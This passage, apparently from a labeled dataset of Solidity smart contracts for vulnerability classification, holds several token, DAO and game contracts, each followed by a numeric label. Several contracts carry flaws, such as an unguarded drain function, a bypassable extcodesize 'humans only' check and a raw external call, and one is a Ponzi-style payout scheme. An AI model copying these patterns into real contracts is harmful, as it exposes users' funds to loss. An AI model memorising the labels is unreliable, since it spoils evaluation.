onlyMembers public
returns (uint voteID)
{
Proposal storage p = proposals[proposalNumber];
require(!p.voted[msg.sender]);
p.voted[msg.sender] = true;
p.numberOfVotes++;
if (supportsProposal) {
p.currentResult++;
} else {
p.currentResult--;
}
Voted(proposalNumber, supportsProposal, msg.sender, justificationText);
return p.numberOfVotes;
}
function executeProposal(uint proposalNumber, bytes transactionBytecode) public {
Proposal storage p = proposals[proposalNumber];
require(now > p.votingDeadline
&& !p.executed
&& p.proposalHash == keccak256(p.recipient, p.amount, transactionBytecode)
&& p.numberOfVotes >= minimumQuorum);
if (p.currentResult > majorityMargin) {
p.executed = true;
require(p.recipient.call.value(p.amount)(transactionBytecode));
p.proposalPassed = true;
} else {
p.proposalPassed = false;
}
ProposalTallied(proposalNumber, p.currentResult, p.numberOfVotes, p.proposalPassed);
}
} | 1 | 3,151 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TokenERC20 is Ownable {
using SafeMath for uint256;
string public constant name = "registration traceability";
string public constant symbol = "REGcoin";
uint32 public constant decimals = 18;
uint256 public totalSupply;
uint256 public currentTotalSupply = 0;
uint256 public airdrop;
uint256 public startBalance;
uint256 public buyPrice ;
mapping(address => bool) touched;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) internal allowed;
mapping(address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Burn(address indexed burner, uint256 value);
function TokenERC20(
uint256 initialSupply
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
}
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
if( !touched[msg.sender] && currentTotalSupply < totalSupply && currentTotalSupply < airdrop ){
balances[msg.sender] = balances[msg.sender].add( startBalance );
touched[msg.sender] = true;
currentTotalSupply = currentTotalSupply.add( startBalance );
}
require(!frozenAccount[msg.sender]);
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!frozenAccount[_from]);
if( !touched[_from] && currentTotalSupply < totalSupply && currentTotalSupply < airdrop ){
touched[_from] = true;
balances[_from] = balances[_from].add( startBalance );
currentTotalSupply = currentTotalSupply.add( startBalance );
}
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function getBalance(address _a) internal constant returns(uint256) {
if( currentTotalSupply < totalSupply ){
if( touched[_a] )
return balances[_a];
else
return balances[_a].add( startBalance );
} else {
return balances[_a];
}
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return getBalance( _owner );
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balances[target] = balances[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function () payable public {
uint amount = msg.value * buyPrice;
balances[msg.sender] = balances[msg.sender].add(amount);
balances[owner] = balances[owner].sub(amount);
emit Transfer(owner, msg.sender, amount);
}
function selfdestructs() payable public onlyOwner {
selfdestruct(owner);
}
function getEth(uint num) payable public onlyOwner {
owner.transfer(num);
}
function modifyairdrop(uint256 _airdrop,uint256 _startBalance ) public onlyOwner {
airdrop = _airdrop;
startBalance = _startBalance;
}
function zhuchu(uint256 shuliang) public onlyOwner {
require (balances[this] >= shuliang);
balances[this] -= shuliang;
balances[msg.sender] += shuliang;
emit Transfer(this, msg.sender, shuliang);
}
} | 1 | 4,270 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract InvestorsStorage {
address private owner;
mapping (address => Investor) private investors;
struct Investor {
uint deposit;
uint checkpoint;
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function updateInfo(address _address, uint _value) external onlyOwner {
investors[_address].deposit += _value;
investors[_address].checkpoint = block.timestamp;
}
function updateCheckpoint(address _address) external onlyOwner {
investors[_address].checkpoint = block.timestamp;
}
function d(address _address) external view onlyOwner returns(uint) {
return investors[_address].deposit;
}
function c(address _address) external view onlyOwner returns(uint) {
return investors[_address].checkpoint;
}
function getInterest(address _address) external view onlyOwner returns(uint) {
if (investors[_address].deposit < 4240000000000000000) {
return 424;
} else {
return 600;
}
}
}
contract Project424 {
using SafeMath for uint;
address public owner;
address admin;
address marketing;
uint waveStartUp;
uint nextPayDay;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralInvestment(address indexed _referral, address indexed _referrer, uint _value);
event LogNewWave(uint _waveStartUp);
InvestorsStorage private x;
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedReferrer) {
assembly {
parsedReferrer := mload(add(_source,0x14))
}
return parsedReferrer;
}
function toReferrer(uint _value) internal {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender) {
_referrer.transfer(_value / 20);
emit LogReferralInvestment(msg.sender, _referrer, _value);
}
}
constructor(address _admin, address _marketing) public {
owner = msg.sender;
admin = _admin;
marketing = _marketing;
x = new InvestorsStorage();
}
function getInfo(address _address) external view returns(uint deposit, uint amountToWithdraw) {
deposit = x.d(_address);
amountToWithdraw = block.timestamp.sub(x.c(_address)).div(1 days).mul(x.d(_address).mul(x.getInterest(_address)).div(10000));
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest();
}
}
function invest() notOnPause public payable {
admin.transfer(msg.value * 5 / 100);
marketing.transfer(msg.value / 10);
if (x.d(msg.sender) > 0) {
withdraw();
}
x.updateInfo(msg.sender, msg.value);
if (msg.data.length == 20) {
toReferrer(msg.value);
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() notOnPause public {
if (address(this).balance < 100000000000000000) {
nextWave();
return;
}
uint _payout = block.timestamp.sub(x.c(msg.sender)).div(1 days).mul(x.d(msg.sender).mul(x.getInterest(msg.sender)).div(10000));
x.updateCheckpoint(msg.sender);
if (_payout > 0) {
msg.sender.transfer(_payout);
emit LogPayment(msg.sender, _payout);
}
}
function nextWave() private {
x = new InvestorsStorage();
waveStartUp = block.timestamp + 7 days;
emit LogNewWave(waveStartUp);
}
} | 0 | 1,375 |
pragma solidity ^0.4.17;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require (!paused);
_;
}
modifier whenPaused {
require (paused) ;
_;
}
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0X0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ReporterToken is MintableToken, Pausable{
string public name = "Reporter Token";
string public symbol = "NEWS";
uint256 public decimals = 18;
bool public tradingStarted = false;
modifier hasStartedTrading() {
require(tradingStarted);
_;
}
function startTrading() public onlyOwner {
tradingStarted = true;
}
function transfer(address _to, uint _value) hasStartedTrading whenNotPaused public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) hasStartedTrading whenNotPaused public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public {
oddToken.transfer(owner, amount);
}
}
contract ReporterTokenSale is Ownable, Pausable{
using SafeMath for uint256;
ReporterToken public token;
uint256 public decimals;
uint256 public oneCoin;
uint256 public startTimestamp;
uint256 public endTimestamp;
address public multiSig;
function setWallet(address _newWallet) public onlyOwner {
multiSig = _newWallet;
}
uint256 public rate;
uint256 public minContribution = 0.0001 ether;
uint256 public maxContribution = 200000 ether;
uint256 public weiRaised;
uint256 public tokenRaised;
uint256 public maxTokens;
uint256 public tokensForSale;
uint256 public numberOfPurchasers = 0;
address public cs;
uint public r;
bool public freeForAll = false;
mapping (address => bool) public authorised;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event SaleClosed();
function ReporterTokenSale() public {
startTimestamp = 1508684400;
endTimestamp = 1521126000;
multiSig = 0xD00d085F125EAFEA9e8c5D3f4bc25e6D0c93Af0e;
token = new ReporterToken();
decimals = token.decimals();
oneCoin = 10 ** decimals;
maxTokens = 60 * (10**6) * oneCoin;
tokensForSale = 36 * (10**6) * oneCoin;
}
function setTier(uint newR) internal {
if (tokenRaised <= 9000000 * oneCoin) {
rate = newR * 142/100;
} else if (tokenRaised <= 18000000 * oneCoin) {
rate = newR *117/100;
} else {
rate = newR * 1;
}
}
function hasEnded() public constant returns (bool) {
if (now > endTimestamp)
return true;
if (tokenRaised >= tokensForSale)
return true;
return false;
}
modifier onlyCSorOwner() {
require((msg.sender == owner) || (msg.sender==cs));
_;
}
modifier onlyCS() {
require(msg.sender == cs);
_;
}
modifier onlyAuthorised() {
require (authorised[msg.sender] || freeForAll);
require (now >= startTimestamp);
require (!(hasEnded()));
require (multiSig != 0x0);
require(tokensForSale > tokenRaised);
_;
}
function authoriseAccount(address whom) onlyCSorOwner public {
authorised[whom] = true;
}
function authoriseManyAccounts(address[] many) onlyCSorOwner public {
for (uint256 i = 0; i < many.length; i++) {
authorised[many[i]] = true;
}
}
function blockAccount(address whom) onlyCSorOwner public {
authorised[whom] = false;
}
function setCS(address newCS) onlyOwner public {
cs = newCS;
}
function setRate(uint newRate) onlyCSorOwner public {
require( 0 < newRate && newRate < 8000);
r = newRate;
}
function placeTokens(address beneficiary, uint256 _tokens) onlyCS public {
require(_tokens != 0);
require(!hasEnded());
uint256 amount = 0;
if (token.balanceOf(beneficiary) == 0) {
numberOfPurchasers++;
}
tokenRaised = tokenRaised.add(_tokens);
token.mint(beneficiary, _tokens);
TokenPurchase(beneficiary, amount, _tokens);
}
function buyTokens(address beneficiary, uint256 amount) onlyAuthorised whenNotPaused internal {
setTier(r);
require(amount >= minContribution);
require(amount <= maxContribution);
uint256 tokens = amount.mul(rate);
weiRaised = weiRaised.add(amount);
if (token.balanceOf(beneficiary) == 0) {
numberOfPurchasers++;
}
tokenRaised = tokenRaised.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(beneficiary, amount, tokens);
multiSig.transfer(this.balance);
}
function finishSale() public onlyOwner {
require(hasEnded());
uint unassigned;
if(maxTokens > tokenRaised) {
unassigned = maxTokens.sub(tokenRaised);
token.mint(multiSig,unassigned);
}
token.finishMinting();
token.transferOwnership(owner);
SaleClosed();
}
function () public payable {
buyTokens(msg.sender, msg.value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public {
oddToken.transfer(owner, amount);
}
} | 1 | 2,249 |
pragma solidity ^0.4.23;
contract CoinJzc
{
address public admin_address = 0x59a6C9d93838E1901990b50469d5126C720716dc;
address public account_address = 0x59a6C9d93838E1901990b50469d5126C720716dc;
mapping(address => uint256) balances;
string public name = "DaJinZhuCoin";
string public symbol = "JZC";
uint8 public decimals = 18;
uint256 initSupply = 200000000;
uint256 public totalSupply = 0;
constructor()
payable
public
{
totalSupply = mul(initSupply, 10**uint256(decimals));
balances[account_address] = totalSupply;
}
function balanceOf( address _addr ) public view returns ( uint )
{
return balances[_addr];
}
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = sub(balances[msg.sender],_value);
balances[_to] = add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = sub(balances[_from], _value);
balances[_to] = add(balances[_to], _value);
allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
bool public direct_drop_switch = true;
uint256 public direct_drop_rate = 1000;
address public direct_drop_address = 0x59a6C9d93838E1901990b50469d5126C720716dc;
address public direct_drop_withdraw_address = 0x59a6C9d93838E1901990b50469d5126C720716dc;
bool public direct_drop_range = false;
uint256 public direct_drop_range_start = 1547947620;
uint256 public direct_drop_range_end = 1579483620;
event TokenPurchase
(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
function buyTokens( address _beneficiary )
public
payable
returns (bool)
{
require(direct_drop_switch);
require(_beneficiary != address(0));
if( direct_drop_range )
{
require(block.timestamp >= direct_drop_range_start && block.timestamp <= direct_drop_range_end);
}
uint256 tokenAmount = div(mul(msg.value,direct_drop_rate ), 10**18);
uint256 decimalsAmount = mul( 10**uint256(decimals), tokenAmount);
require
(
balances[direct_drop_address] >= decimalsAmount
);
assert
(
decimalsAmount > 0
);
uint256 all = add(balances[direct_drop_address], balances[_beneficiary]);
balances[direct_drop_address] = sub(balances[direct_drop_address], decimalsAmount);
balances[_beneficiary] = add(balances[_beneficiary], decimalsAmount);
assert
(
all == add(balances[direct_drop_address], balances[_beneficiary])
);
emit TokenPurchase
(
msg.sender,
_beneficiary,
msg.value,
tokenAmount
);
return true;
}
modifier admin_only()
{
require(msg.sender==admin_address);
_;
}
function setAdmin( address new_admin_address )
public
admin_only
returns (bool)
{
require(new_admin_address != address(0));
admin_address = new_admin_address;
return true;
}
function setDirectDrop( bool status )
public
admin_only
returns (bool)
{
direct_drop_switch = status;
return true;
}
function withDraw()
public
{
require(msg.sender == admin_address || msg.sender == direct_drop_withdraw_address);
require(address(this).balance > 0);
direct_drop_withdraw_address.transfer(address(this).balance);
}
function () external payable
{
buyTokens(msg.sender);
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0)
{
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
} | 0 | 772 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xee83e20C6AEab2284685Efe0B5ffb250bE5480bf);
address private admin = msg.sender;
string constant public name = "FOMO Short";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 1 seconds;
uint256 private rndGap_ = 1 seconds;
uint256 constant private rndInit_ = 5000 hours;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 5000 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
